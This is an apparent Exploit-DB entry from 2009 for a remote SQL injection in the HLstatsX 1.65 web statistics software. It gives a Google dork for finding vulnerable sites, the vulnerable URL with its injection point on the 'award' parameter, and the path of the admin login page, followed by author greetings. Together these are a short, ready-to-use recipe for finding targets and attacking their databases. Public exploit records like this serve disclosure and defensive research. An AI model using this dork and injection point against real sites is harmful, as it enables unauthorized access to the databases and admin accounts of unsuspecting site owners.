HLstatsX 1.65 - SQL Injection

Author: bnc
type: webapps
platform: php
port: 
date_added: 2009-12-30 
date_updated:  
verified: 1 
codes: OSVDB-61449 
tags: 
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.comHLXCommunityEdition1.6.5FULL.zip

#==iNFO==========================================#
# Software: HlstatsX Sql Injection
# Vulnerability: Remote Sql Injection
# Google Dork: "hlstats.php?mode=dailyawardinfo&award=" hlstatsx
# Off. site: www.hlstatsx.com
#================================================#

#===Author=======================================#
# Author: bnc
# Date: 2009.12.30.
# Contact: irc.freenode.net<http://irc.freenode.net> #rootsite.hu<http://rootsite.hu> [BNC]
#================================================#


#==SQL_Injection================================#
# Exploit: hxtp://site/hlstats.php?mode=dailyawardinfo&game=l4d&award=@

# Login page: hxtp://site/hlstats.php?mode=admin
#================================================#


#===Greetz=======================================#
# rootsite.hu<http://rootsite.hu> staff & members, for happy moments
# My mom for cookies, and intresting blablas
# My girlfriend, for anything, I just love babe <3
#================================================#